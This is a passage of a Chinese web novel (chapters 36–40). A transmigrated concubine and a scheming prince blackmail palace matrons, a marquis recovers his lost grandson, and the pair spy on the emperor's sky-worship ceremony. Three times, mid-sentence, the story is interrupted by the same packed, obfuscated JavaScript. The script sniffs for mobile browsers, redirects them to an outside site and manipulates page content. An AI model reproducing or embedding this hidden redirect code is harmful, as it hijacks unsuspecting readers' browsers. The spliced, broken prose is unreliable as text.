姜念虞回忆了下剧情,小说里李玄璋有没有在李?狗?淳面前透露过密道的事? 好像没有。 正如李玄璋所说,真正的机密,是深藏于他心底的。 若是李?狗?淳真的探知到了李玄璋所有的秘密,那他一重生就能大杀四方了,也不可能跟李玄璋斗了那么多章,直到快大结局了才将他弄死。 重生,是李?狗?淳的优势,但同时又在一定程度上蒙蔽了他。 他自以为掌握了李玄璋所有的秘密,但其实他知道的那些,只是表面。 想到这里,姜念虞松了口气。 还好还好,不然她和李玄璋这个炮灰+反派联盟,就没法玩儿了。 “现在你整天被盯着,还怎么调查阿幻的身世?” 姜念虞往嘴里塞了颗话梅,刚吃得有点饱,肚子暂时塞不下了,但嘴巴不能空着,吃颗话梅正好。 李玄璋:“我既然能躲过那八个嬷嬷的监视来你这里,自然也能避开她们做自己的事,你不消担心。” 姜念虞点点头,“你有法子帮我把苏嬷嬷和黄嬷嬷弄走吗?距离问天大典还有好几天,再这么下去,我非得被她们逼疯不可。” 李玄璋递给她一张纸,“这上面是苏、黄二人的软肋,你记下来,拿来威胁她们,她们自然就不敢再对你放肆了。” 姜念虞大喜,“蓁蓁,真是太谢谢你了,要是没有你我可怎么办啊。” 张开双臂给了他一个大大的拥抱。 李玄璋猝不及防被她抱了满怀,怔在了那里,等反应过来时,她已经退了回去。 这个拥抱是如此的突然且短促。 后劲却有些大,直到回到住处,在床上躺下来,他脑子里都还在反复重现那一幕。 要是下次她再抱过来,他是否要回应呢? 37. 第37章 翌日,天还没大亮。 两个嬷嬷神出鬼没地出现在姜念虞床头,一左一右掀开了帐幔,异口同声道:“娘娘,卯时(五点)了,您该起床了。” 苏嬷嬷:“我们商量了一番,给您制定了一份宫规学习计划,待会儿您起床后,当抄写宫规一遍,抄完后方可用早膳。” 黄嬷嬷:“用完早膳后,您须得学习如何行走坐卧,您这睡相着实有些差,若是不纠正过来,侍寝时恐怕会搅扰到皇上。” 姜念虞翻了个身,拉过被子蒙住脑袋继续睡。 苏嬷嬷和黄嬷嬷到底是下人,不敢真的上手扒拉她,那样就成了以下犯上了。 但两人也并不放弃,直接在床头念起了宫规。 你一句我一句,跟和尚念经似的,嗡嗡个不停。 犹如魔音灌耳。 姜念虞很想装作听不见,但在末世养成的习惯让她睡觉时分外敏锐,一有点风吹草动就会惊醒。 两个大活人在她床边“念经”,她怎么可能还睡得下去? 姜念虞掀开被子,朦胧惺忪的眼睛阴恻恻地看了两人一眼,哼,以为只有你们会“念咒”吗?我也会念! “苏嬷嬷,你在宫外有个儿子吧?叫什么来着?哦,聂小宝,今年二十六了,奔三的人了,却还没娶媳妇,给你们聂家留个后,整日里只知道喝酒赌钱,还要你这个老娘把月钱省下来给他填窟窿。 “你说他要是哪天喝醉了一头栽进水沟里爬不起来,那你们聂家岂不是就绝后了?” 苏嬷嬷的话音戛然而止,像被一只无形的手掐住了脖子。 “黄嬷嬷,你有个老相好吧?叫王建安,在皇宸司当值,皇宸司是个好地方啊,清闲,连他在内只有三个人,另外两个还喜欢偷懒,经常不见人影,王建安要是整理玉牒时一不小心从梯子上摔下来,尸体臭了都不一定能被人发现呢。” 黄嬷嬷面色瞬间白了。 屋内一片死寂,静得呼吸声都明显了。 半晌过去,苏嬷嬷和黄嬷嬷齐齐在床边跪了下来。 “娘娘,不,主子,以后老奴都听您的,求您放过我那不成器的儿子。” “娘娘,以后您有什么事尽管吩咐,奴婢但无不从。” 姜念虞:“嗯,我也没什么要吩咐的,以后你们别吵到我睡觉,别管我吃饭就行了,还有皇上那里,他要是问起来,你们知道怎么回吧?” 苏嬷嬷:“以后娘娘想怎么做就怎么做,老奴绝不多加干预。” 黄嬷嬷:“娘娘尽管放心,皇上那里奴婢知道该如何做。” 姜念虞:“行了,你们退下吧,我要再睡一会儿。” 苏嬷嬷和黄嬷嬷对视一眼,互相搀扶着,轻手轻脚地从地上爬起来,退了出去。 在姜念虞补觉时,李淳召见了黄嬷嬷和吴嬷嬷(常宁殿那边的),询问德妃和李玄璋被管教的情况。 得知两人都被一天十二时辰地看管着,连饭都吃不饱时,李淳忍不住畅快地笑出了声。 他怎么早没想到这个整治她们的法子呢? 不过现在整治也不迟。 被这般严密地看管着,他就不信李玄璋还能搞出什么幺蛾子来。 至于德妃,那就更不值一提了。 接下来,他只需要督促阿幻排演好幻术,静候问天大典到来就行了。 时间一晃到了三月初七,问天大典的前一天。 李淳刚沐浴焚香出来,得知宁远侯求见。 “快宣。” 宁远侯走了进来,“老臣参见皇上。” 李淳含笑道:“平身,坐。” 宁远侯坐了下来,有内侍呈上茶水。 宁远侯端起茶盏轻啜了一口。 李淳关切地问:“宁远侯身子一向可好?若有哪里不舒坦,可千万不要讳疾忌医,朕还指望着您老能够提枪上马,为朕平了北周呢。” 宁远侯朗声道:“多谢皇上关心,臣已经老啦,只盼着能够解甲归田、颐养天年,打仗平天下的事,还是交给年轻一辈的将领吧。” 君臣两人寒暄了一阵,这才进入主题。 李淳问:“不知宁远侯这次进宫,所为何事啊?” 宁远侯:“皇上,臣近日才得知,臣那已经过世的儿子还留了一滴血脉在这世间。” 李淳端着茶盏的手一颤,茶水溅出来了几滴,不过很快他就平复下来。 “哦?是吗?宁远侯,可喜可贺啊,不知你那孙儿现在何处?等你将孙儿接回了家,朕定要送上一份贺礼。” 宁远侯:“不瞒皇上,我那孙儿,就在宫中,正是前些日子被皇上从宫外带进来的幻术师阿幻。” 李淳将茶盏撂在案上,“宁远侯从何而知?” 宁远侯将前因后果一五一十道来。 时间倒回数日前。 在地上昏睡了一晚的钱老爷被自己的侍卫叫醒,他坐起身来,摸着自己隐隐作痛的脑袋,奇道:“昨晚我怎么忽然昏过去了?” 侍卫答:“昨晚有贼人闯了进来,先打晕了老爷,后又打晕了小的,小的也是片刻前才醒来。” 钱老爷四处看了看,“阿幻呢?难不成是被贼人掳了去?快去,把瑶娘给我叫来,我要问问她。” 侍卫出去了一趟,回来时身后并未跟着瑶娘,他禀报道:“老爷,瑶娘子昨晚醉酒跌入湖中淹死了。” 钱老爷心口一沉,“死了?” 对瑶娘他倒没有什么感情,但好歹也认识了那么多年,每回来都免不了要跟这个女人打情骂俏几句,昨儿还风情万种地朝他挥舞香帕,今儿人就没了? 还有阿幻,人不明不白地不见了,也不知是被贼人掳走了,还是也遭了不测。 从揽月楼出来,钱老爷没敢立刻回府,而是先去了一趟安置着外室的别院,将身上的脂粉酒气通通洗去,直到身上无一丝异味,这才打道回府。 钱老爷在大门口下了马。 府邸上方的牌匾上,赫然写着“宁远侯府”四个烫金大字。 管家迎了出来,对钱老爷道:“世子,侯爷让您回来后去书房一趟。” 原来,钱老爷正是宁远侯府的世子韩岩,“钱老爷”不过是他在外行走时的化名。 他并非是宁远侯的亲儿子,而是从旁支过继来的。 来到书房,韩岩定了定神,规规矩矩走了进去,向坐在上首的宁远侯行礼:“父亲。” 宁远侯合上手里的书,朝他看过来。 韩岩腿肚子哆嗦了一下,头低得更深了,总觉得宁远侯的目光像是能把他从里到外看穿一样。 然越是恐惧,他心中的恨意就越浓,每天都盼着这老东西去死。 只要他一死,那这宁远侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268377|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府就彻底属于自己了,他再也不用担惊受怕了。 心里转着这种念头,他面上却是显得愈发恭敬。 宁远侯:“昨晚为何没回府?” 韩岩:“回父亲,马上就是问天大典了,礼部这些日子忙得不可开交,儿虽只是一个小小的主事,却也跟着劳心劳神,昨日下值早了些,便想着去喝几杯酒松快一下,没成想醉了过去,昏睡了一夜。” 说着跪了下来:“儿知道错了,父亲只管教训便是。” 宁远侯:“你都这么大的人了,要是还被我教训,还有什么脸面?” 父子俩不咸不淡地说了会儿话,宁远侯摆了摆手,“罢了,你去吧。” 看着韩岩离去的背影,宁远侯深深叹了口气,若是他的阿骏还在,他又何必指望别人的儿子呢? 这个儿子过继来也有十几年了,但父子俩始终亲近不起来。 也不知是他太严厉了,导致韩岩不敢亲近他,还是韩岩始终惦记着亲生父母那边。 回到自个院里,韩岩第一时间去了书房,关上房门,拉着美貌的书童胡闹了一通,将昨晚到现在积压的火气一股脑泄了出去。 而后将书童遣了出去,来到书桌边,铺开纸,在上面作起了画。 书童虽貌美,却不及阿幻万一,昨晚他都要得手了,却莫名其妙昏了过去,一觉醒来,瑶娘死了,阿幻不见了。 他只好将阿幻的样貌画下来,聊以慰藉。 这幅画,韩岩画了足足五天。 画成的那一刻,他忍不住着迷地抚了抚画中人的脸。 晚上干脆抱着画歇在了书房。 谁知半夜书房起火了,韩岩抱着画冲了出来。 宁远侯得知消息赶了过来,“岩儿没事吧?” 韩岩下意识拱手作揖:“父亲,儿子没事,劳您挂心了。” 这一拱手,怀里抱着的画就掉在了地上,画轴滚动,画卷自动展开了。 韩岩忙俯身去捡,却被宁远侯喝止了:“等等!” 他盯着画上的人,身形像是凝固了一般,一动不动。 “父亲?您怎么了?” 宁远侯颤抖着手将画捡了起来,“画上之人是谁?你在哪里见到的?”他目光灼灼地盯着韩岩,急切问。 韩岩见他神情不对,哪里敢隐瞒?却也不敢说全了,只说自己是去揽月楼喝酒看表演时见到了阿幻,被他容貌所惊,故而画了下来。 宁远侯拿着画回了住处,大步进了卧室,翻箱倒柜地找了起来。 “夫人,阿骏的那幅画像你收在哪里了?” 侯夫人原本就睡得不大安稳,被他这一番动静吵醒了,“你找阿骏的画像做什么?我好不容易才将他忘了,你又要找出来招我的眼泪是不是?” 说是这么说,到底还是下了床,将画像从箱子底下找了出来。 宁远侯将两幅画摊开,一起摆在炕上,“夫人,你看,这画上的少年,眉眼间是不是和阿骏特别像?” 侯夫人一看,便惊得捂住了嘴,眼眶也跟着模糊了,“岂止是像,简直就是一个模子里刻出来的,这少年是谁?多大年纪?你说他会不会是——” 那个猜测她没有说出口,免得希望越大失望越大。 宁远侯:“这少年叫阿幻,是揽月楼的幻术师,我这就去揽月楼打听一下他的情况。” 38. 第38章 宁远侯到了揽月楼却得知,阿幻前些日子被一个贵人带走了,至今还没回来。 “阿幻被谁带走了?” 被问话的龟公:“那我哪儿知道啊,咱们揽月楼每日里接待的客人那么多,我可记不住。” 宁远侯:“那你们这儿的管事呢?” 龟公:“您是说瑶娘?唉,阿幻被带走的那天晚上,瑶娘喝醉酒,跌入湖中淹死了,说起来怪让人伤心的。” 闻言,宁远侯立刻觉察出这件事不寻常。 为何恰恰在阿幻被带走当晚瑶娘淹死了?当真是淹死的吗?还是被人谋杀了,伪造成淹死的假象? “我能去阿幻的住处看看吗?”或许能找到一些线索。 宁远侯说完,还递上了一锭金子。 活到这把年纪,他还是颇懂得一些人情世故的,知道在揽月楼这样的地方,金银钱财才是最方便的利器。 果不其然,一看到金子,龟公的态度立马就变得殷勤了许多,“当然没问题,您随小的来。” “这里就是了。”龟公将宁远侯带到了一座偏僻幽静的独立小院,拿出钥匙打开了锁着的院门,将门推开了。 院子不是很大,却被打理得十分漂亮,像一座秘密花园。 看到这样美丽的院子,宁远侯的心情得到了一丝慰藉,阿幻能将住处打理得这样好,说明他过得并不差。 龟公很识趣地道:“那您慢慢儿看,小的就不打扰您了。” 宁远侯点点头,踩在鹅卵石小径上,慢慢往里走。 “吱呀——”宁远侯推开没有上锁的屋门,却见一个穿着黑斗篷的人坐在桌边,不由得一惊。 那人摘下兜帽,转过头来,露出一张洗尽铅华温婉清丽的脸来,眼尾处有几道细纹,那是岁月的痕迹,但这丝毫无损她的美丽。 宁远侯:“你是?” “妾身瑶娘,见过宁远侯。” 宁远侯第一时间不是质疑她的身份,而是回头看了看,见没有别人,抬脚跨进门槛,关上了屋门。 “你既然知道我的身份,那就是特意在此候我了。” 瑶娘:“不错,妾身在此等候侯爷多时了。” 宁远侯:“你先前的死是怎么一回事?” 瑶娘:“有人要杀我灭口,我只好假死以脱身了。” 宁远侯:“什么人要杀你?又为何要杀你?” 瑶娘朝他做了个“请”的手势,“侯爷且坐下来,容妾身慢慢说与您听。” 时间回归眼前。 宁远侯告诉皇帝:“臣是从揽月楼的管事瑶娘那里得知的。” 李淳震惊之下脱口而出:“什么?瑶娘不是已经死了吗?” 这话一出,见宁远侯怀疑地看过来,他忙又找补了一句:“朕也是听宫里的小太监说的。既然瑶娘没死,后来为何又传出她的死讯呢?” 宁远侯:“瑶娘说她在湖边亭中喝酒,喝得有些醉了,打算回房歇息,刚起身,有人从背后猛地推了她一把,将她推入水中,这明显是故意想杀了她。 “她怕自己上去后那人又要找机会杀了她,偷偷找了一具尸体扮成她,伪造成淹死的假象,她自己则躲在暗中,想查出幕后凶手。” 李淳心下暗恨,丽嫔做事也太大意了,连瑶娘死没死都没确认,就跑来告诉他任务完成了,害得他现在陷入了被动。 “那后来呢?” 宁远侯:“瑶娘跟踪推她的那人,发现那人竟是宫里出来的。” 李淳一脸惊讶:“竟是宫里的人?瑶娘怎会跟宫中之人结仇?” 宁远侯:“瑶娘自己也是一头雾水,随后,臣问她可知阿幻的身世,她告诉臣,阿幻他娘当年跟一名客人两情相悦,为了他坚持卖艺不卖身,那男子也承诺要娶她,还送给了她一枚定情信物,只是后来那男子忽然不告而别,再也没出现过。” 瑶娘:“世间男子多薄幸,兰雪定是被那负心汉给骗了,兰雪拼死为他生下孩儿,他这会儿却是不知道在哪里逍遥快活呢!别让我见到他,不然我非得替兰雪痛骂他一顿不可!” “兰雪”就是阿幻的母亲。 瑶娘的这番话,宁远侯没有说出来。 “阿幻他娘去世前,将那男子送给她的定情信物交给了瑶娘,让她替阿幻好生收着,希望他有朝一日能拿着这枚信物找到亲生父亲,但因阿幻耳不能听,口不能言,瑶娘一直没让他出过门,信物也没有交给他。 “臣请她将信物拿出来一看,那信物,赫然是一枚平安扣,平安扣上雕刻着一匹黑色的小马,这匹小马,原先是玉石上的一块墨色瑕疵,玉匠手段高明,顺势将其雕刻成了一匹小马。 “臣为何会知道这些呢?因为这块玉石,正是臣当年征战北周时,在河滩上捡到的。捡到玉石不久,臣就收到了家中来信,说是夫人生了,生下了一个七斤六两的大胖小子。 “臣高兴不已,将平安扣送给了臣的独子阿骏,希望这枚玉扣能保他平安。恰好,阿骏也是属马,自此,阿骏便日日佩戴着这枚玉扣,从不离身。 “后来他战死沙场,尸首被送回来时,玉扣竟不知所踪。原来,他是将玉扣送给了心爱的女子。” 铁塔硬汉一般的宁远侯,说起往事时,不禁老泪纵横,哽咽不已。 李淳:“如此说来,当年送给阿幻母亲定情信物的男人,就是韩骏了?” 宁远侯含泪点头。 李淳:“宁远侯,并非朕泼你冷水,仅凭一枚信物,如何就能断定阿幻就是韩骏留下的骨血呢?” 宁远侯又拿出了两幅画像,相继展开,“皇上请看。” 那两幅画像,一幅是阿幻,一幅是韩骏。 一眼看过去,任谁都会觉得两人生得十分之像。 李淳袖中的手暗自握紧了,“不知阿幻的画像出自何人之手?” 难道是李玄璋? 应该不是,他这些天都在几位嬷嬷的眼皮子底下,如何能够画出这样一幅生动精美的画像? 宁远侯:“礼部主事韩岩,老臣从旁支过继来的儿子。” 李淳拿起金盘中的两颗玉球,在掌中盘了起来。 韩岩,竟是他坏了朕的好事! 他起身从御案后走出来,“阿幻相貌与韩骏十足相似,又有信物为证,看来他十有八九是宁远侯你的孙儿了。朕这便让人将他带来,与宁远侯祖孙相认。” 宁远侯跪了下来:“谢皇上隆恩。” 李淳:“只不过朕得提醒你一句,这件事实在有些巧合,为了保险,待会儿宁远侯最好还是与阿幻滴血认亲一下为好,你说呢?” 宁远侯:“皇上说的极是,是该滴血认亲,这样臣心里也踏实些。” “滴血认亲?这玩意儿根本就不准啊,而且很容易动手脚。” 是夜,李玄璋再度来与姜念虞会面,给她讲了白日里保和殿发生的事。 听到李淳建议宁远侯跟阿幻滴血认亲这里,姜念虞顿时就急了。 “他们肯定认亲失败了吧?宁远侯是不是没能顺利带走阿幻?” 李玄璋摇了摇头:“李淳的确让墨春在滴血认亲的水里动了手脚,想让宁远侯和阿幻的血融不到一块儿去,不过我已提前安排好了,宁远侯和阿幻认亲成功了。” 姜念虞嘴角抽了抽,“你知道吗?任何两个人的血滴到同一碗水里,都能融到一起去的,不管她们有没有血缘关系。 “不过,阿幻和宁远侯的确是有血缘的祖孙,他们的血融到一起,也算是证实了他们的血缘关系。” 李玄璋:“是吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281760|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 他来了兴致,倒了一碗水来,直接用指甲划破指尖,滴了几滴血进去,又示意姜念虞也试一下。 姜念虞很乐意让李玄璋这个古人见识一下现代科学,一想到他待会儿会露出的表情,她就充满了期待。 然而令她震惊的事发生了—— 当她将血滴进碗里时,两人的血居然各自为政,泾渭分明地待在两边,丝毫没有扩散,也没有要互相融合的迹象! 这,这不科学! 李玄璋这个古人没有被科学的力量震惊到,她这个穿来的现代人反倒被这个违反常理的现象给震住了。 “你不会在这水里加了东西吧?” 李玄璋:“你若是不信,可以自己去倒一碗清水来。” 姜念虞亲自去弄了一碗水来,全程不假她人之手,这一次她没有和李玄璋滴血,而是将人换成了守在门口的林鹤。 结果,还是和刚才一样! 她们两个的血根本没有扩散开来,也没有互相融合。 姜念虞盯着那碗水看了半天,忽然打了个激灵,“滴血验亲”这种荒唐的事,在这本书的世界里,该不会是切实存在的法则吧? 这个世界存在武功、内力、能够以假乱真的幻术等等不科学的东西,再多一个“滴血认亲”,好像也很合理? 回到内室,姜念虞拿起糕点库库一顿吃。 连续放了两次血,她可得好好补补。 “现在李淳手里没了阿幻这张底牌,明天的问天大典上,咱们的计划应该能顺利实施吧?” 只要计划顺利,“妖孽化形、窃居帝位”这顶大锅,就彻底扣在李淳头上了。 他这个主角从此就可以下线了,她这个炮灰就将迎来真正的春天,再也不用担心会被他搞死了。 李玄璋没有回答她的问题,而是道:“一直以来,我都有一种感觉,冥冥之中有什么东西在束缚甚至控制着我,让我无法达成自己的目的。” 他的手里不知何时出现了一只色调漆黑阴郁的傀儡娃娃,他的手指上延伸出了数十根透明的细线,没入到了娃娃身体各处。 他手指灵活摆动,娃娃紧跟着做出了惟妙惟肖的动作和表情。 “我就像是这只傀儡,被无数根细线操控着。” 他的话,配合着他的动作,让姜念虞头皮一阵发麻,浑身鸡皮疙瘩起立。 李玄璋:“在此之前,我有过无数次机会弄死李淳,但都因为各种各样的原因而无法成功。” 他看着她的眼睛,“但自从那天你在冷宫死而复生后,我感觉身上束缚着我的那股力量,削弱了一些。” 姜念虞不知道该说什么,只能露出一抹干干的笑容。 李玄璋果然不愧是书里的大反派,竟然感受到了剧情的力量! 他可不就是受到了剧情的操控么。 剧情想让李玄璋成为李淳这个主角的对手,成为他的磨刀石,让他一步步成长起来,所以李玄璋可以虐李淳,可以压制他,甚至重伤他,但就是杀不死他。 李玄璋这个反派的每一次“阴谋诡计”,到头来只会为李淳做嫁衣,只会促进他变得更强。 但他竟然说因为她的到来,他感受到的剧情之力削弱了? 这是否说明,她这只外来的蝴蝶,是不受剧情控制的呢? “难道是因为我死了一次,所以不再受天道管束?还是因为我身具功德,所以连带着你也跟着受益?” 姜念虞装傻,一本正经地猜测着。 李玄璋:“那就不得而知了。且看明日是个什么情形。我走了,姐姐别再吃了,当心腹胀睡不着。” 腹胀?不存在的,异能的运转颇耗热量,她引导异能在体内转一圈就能将她吃下去的这些东西都给消化掉。 39. 第39章 翌日,晨光熹微。 一头青灰色的毛驴拉着一辆板车,慢悠悠地来到了西郊。 赶驴的是个少年,面貌普通,握着缰绳的手却白皙漂亮,指甲干净剔透。 板车上拉着一堆干草,一个姑娘背对着少年靠在干草堆上,手里拿着一串晶莹红艳的糖葫芦啃得欢。 当驴车停下来时,姑娘问:“到了?” 少年跳下驴车:“到了,姐姐。” 姑娘也从车上下来,走到毛驴身边摸了摸它的脑袋。 毛驴显然很喜欢她的触碰,直蹭她的手。 这姑娘,正是姜念虞,而赶驴车的少年,不用说自然是李玄璋了。 “反派”二人组,再次出宫来搞事了。 在祭祀天地这种事上,女子向来是不被允许参与的,别说姜念虞这个后妃,就是太后也没有资格到现场来。 今日她本该老老实实待在宫里,但李淳祭告天地的名场面,她怎么能错过呢? 于是她说服了春樱和夏桃,让她俩给自己打掩护,自己则扮成出宫采买的宫女,顺利出了宫。 在宫外和李玄璋汇合,两人换上寻常的衣裳,扮成一对普通的姐弟,赶着驴车来到了西郊的祭坛——今日朝廷举办问天大典的地方。 姜念虞咬下最后一颗糖葫芦,惊讶地看着周围:“这里怎么这么热闹?祭坛不应该是一个很庄严肃穆的地方吗?” 而她看到的,却是乌泱泱的百姓,人头耸-动,摊贩的叫卖声不绝于耳,俨然一派赶集的场景。 李玄璋:“前些时日龟背上的十六字谶语传得沸沸扬扬,今日朝廷要在这里举办问天大典,百姓闻风而动,都跑来瞧热闹了。” 而人一多,那些商贩自然就发现了商机,可不得趁机到这里来赚一波钱? 当然,百姓能够活动的地方只是祭坛的外围,祭坛附近早就被禁军层层包围起来了,不准百姓靠近。 姜念虞看着那一片临时的集市,心情雀跃不已,拉着李玄璋就钻进了人群里,一个个摊位逛过去。 买,吃,买,吃,买,吃…… 幸好李玄璋牵着驴车,可以将买来的东西放在车上,不然就她这个疯狂买买买的势头,他就是再长出十八只手也不够拿的。 “姐姐,够了,再买下去就容易引人怀疑了。” 两人扮演的是一对朴素的农家姐弟,但姜念虞这挥金如土的架势,是个人都看出来不对劲了。 尤其在今天这个特殊的日子里,为了防止百姓里混进来图谋不轨之人,禁卫军在集市上一遍遍巡逻,看见可疑之人还会当场查问。 姜念虞只好暂时收了手。 然而这时候已经晚了,姜念虞的行为,已经引起了禁军的怀疑。 “站住,你们两个,干什么的?”一队佩刀的禁军从两人身边经过,为首的禁军瞥见驴车上那一堆东西,心中生疑,叫住了两人。 李玄璋低头哈腰诚惶诚恐答:“回大人,小的带姐姐进城看大夫来了。” 禁军:“看大夫?”将姜念虞上下扫了一遍,丝毫没看出她哪里像病人,愈发怀疑了。 李玄璋苦笑道:“我姐姐近来不知为何食欲大增,一顿能吃下去以往三天的饭食——” 旁边,姜念虞嚼嚼嚼,眨眼的功夫一只大肉包没了,又一眨眼一个大烧饼也消失了。 禁军:“……” 李玄璋:“我担心姐姐得了什么怪病,所以凑了钱带她来城里看看,哪知经过这一处集市,姐姐看见那些吃的就走不动道了,把看病的钱都拿来买吃的了。” 说到这里,少年苦恼地抱住了脑袋,一脸没能拦住姐姐的懊恼。 姜念虞为了配合李玄璋给她安的“食欲大增”人设,吃得愈发卖力了,脸上都沾染了肉饼的酱汁。 吃完了手上的,又将车板上的一只油纸包拿过来拆开,里头是卤味,用鸡爪、鸡翅、鸡脖子这些边角料做成的。 她拿起一只鸡爪津津有味地啃了起来,表情享受得像是在吃什么神仙美味。 见状,禁军心中的怀疑顿时去了大半。 这些鸡的下脚料,也就只有贫苦的市井百姓才会买来吃,这女子吃个鸡爪子都能如此享受,可见确实没吃过什么好的。 两人的身份应该没有什么问题。 而且这一会儿的工夫她就干掉了好几包吃食,食欲的确不是一般的大。 不过为了保险,禁军还是道:“路引带了没?拿出来我看看。” 李玄璋:“带了带了,大人,您看。” 从怀里掏出来一个小布包,布包层层打开,里头是一张折叠起来的巴掌大的黄纸,纸上写明了姐弟二人的身份、样貌特征、出行缘由等,左下角还盖了章,摁了手印。 禁军看过后没发现什么问题,将路引还了回去,“去吧,进城后你带着你姐姐去南城五里桥下找一个叫赵瞎子的老头,他是给人算命的,不过也会看病,他看病只收一文钱。” 李玄璋感激道:“多谢大人。” 禁军摆了摆手,继续带着人巡逻。 姜念虞吐出鸡骨头,“这人还怪好的嘞。” 凑近李玄璋看了看他手里的那张路引,小声道:“你准备得真充分,连这个都想到了。” 李玄璋收起路引,“看姐姐的样子,好像第一次见到路引似的。” 姜念虞:“对啊,以前我也没出过城嘛。” “哐!哐哐——” 一阵敲锣声传来,姜念虞看去,一列仪仗队敲锣打鼓地走来,队伍上方,黄底龙纹旗帜在空中飘扬。 在禁军和骑兵的护卫下,皇帝乘坐龙辇在万众瞩目之下缓缓而来。 原本喧闹的集市一下子变得鸦雀无声了,百姓们纷纷跪倒在地,向皇帝的方向叩首行礼。 姜念虞被李玄璋拉了一把,反应过来也跟着跪下了。 不过她仗着人多,并没有真的跪下,而是蹲在了那里。 等皇帝的仪仗队过去了,众人才起身,恢复了之前的热闹。 “走,咱们过去看看。”姜念虞拉着李玄璋,往祭坛那边去。 然而离着祭坛还有好几百米远时,她们就被外围的禁卫军给拦下了。 她往禁卫军身后看去,也没能看到祭坛,因为祭坛被青色的砖墙给挡住了。 只能看到李淳坐着轿辇,被人抬着从一道气派的门楼里进去了。 那门楼像是一道牌坊,通体都是由汉白玉雕筑而成,在阳光下流淌着细腻润泽的光芒。 李玄璋:“那是棂星门,进入这道门后,还得经过三道壝(音同尾)墙,每一道墙下,都有禁军层层把守,咱们是混不进去的。” 姜念虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296430|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那我们怎么才能看到里面的情形?” 要是不能亲眼见到李淳问天失败的场面,她会很遗憾的。 她看了看四周,这附近竟然光秃秃的,一棵高点的树都没见着。 李玄璋转身,“跟我来。” 姜念虞跟着他来到了一里开外的一座建筑——青城斋宫。 这里是皇帝举行祭祀大典之前斋戒的地方。 李玄璋带着她从一道隐蔽的小门进去,一路避着人七弯八拐,最后来到了一口废弃的枯井前。 李玄璋率先跳了下去,而后将跳下来的她稳稳接住,打开井壁上的一道机关,一道半人高的密道就出现在了两人面前。 姜念虞跟着李玄璋钻进去,躬着身子前行,嘴里还吃着刚在集市上买的梨条。 她吃东西并不吧唧嘴,但难免还是会发出一点声音,在这幽闭狭窄的通道内,显得过于有存在感了。 前头的李玄璋幽幽道:“姐姐,你的嘴跟着你,真是受累了。” 姜念虞:“分明是享福好吗。” 通道渐渐高挑宽敞起来,姜念虞直起了身子,吃起东西来更加轻松了,李玄璋却不得不继续低着头,因为密道的高度对于他来说还是有些矮了。 密道四通八达,仿若迷宫,姜念虞自己是记不住这么复杂的地形的,但是她有个特殊的记路技巧—— 她一路走一路撒种子,或者将种子嵌入墙壁缝隙里,那些种子被她用木系异能温养过,只要她稍稍催动异能,就能感应到这些种子。 如此一来,她就能通过种子在脑海里联结出一条鲜活精密的路线来。 在末世她就是这么记路的,所以即便路痴如她,也没有迷过路。 等她将一包梨条吃完,前面忽然传来了阵阵音乐声。 歌声、钟磬声、埙声…… 汇聚在一起,庄严典雅,仿佛是在和神明对话。 此时,两人已经来到了一间不大的石室内,石室的东、西、北三面墙壁上,各自错落分布着一个个细小的管道,像是一个个延伸出来的眼睛。 李玄璋指着北面墙壁上的一个管道,示意她上前。 姜念虞将一只眼睛凑过去,一座高大的祭坛映入眼帘! 祭坛有三层,每一层有……她数了数,有二十四层台阶,李淳正背对着她往上面走。 他穿着一身青色的龙袍,戴着垂下很多珠串的发冠,腰间还佩戴着好几种不同的玉饰,装扮得格外隆重。 姜念虞的视线随着他来到祭坛最上面一层。 那里摆放着两张供案,案上是献给上天的贡品,系着大红色绸缎花的烤乳猪,左边一只羊,右边一只牛头,另外还有各色糕点果品,品相都极好,看着就鲜亮诱人。 偏偏李淳这货站在供案前,挡住了她的视线,让她看不清楚。 祭坛上,李淳从礼官手里接过爵盏,跪下向正北方位供奉的“昊天大帝”敬酒,同时不着痕迹地朝后看了看。 总觉得背后有人在盯着他,而且那道目光放肆得很。 但这是祭天大典,那些礼官都恪守着规矩礼仪,连头不敢抬,又有谁敢窥伺他? 李淳扫了一圈,依然没找到那道可疑目光的来源,只好作罢。 心下却是隐隐感到不安起来。 墨春那边,不会出什么岔子吧? 40. 第40章 给昊天大帝敬完酒后,李淳又跪拜了太祖皇帝。 至此,问天大典的“前戏”已经走完了,重头戏来了。 祭坛下,姜相、裴公、杨尚书等一众三品以上大臣俱都一脸肃容,注视着祭坛上的皇帝。 此外,还有佛门弟子手持念珠,诵经祈福。 现场一片静穆。 李淳来到祭坛中央的石碑前,跪了下来。 礼官在旁边朗声宣读祭文。 文中提到了这块石碑的来历。 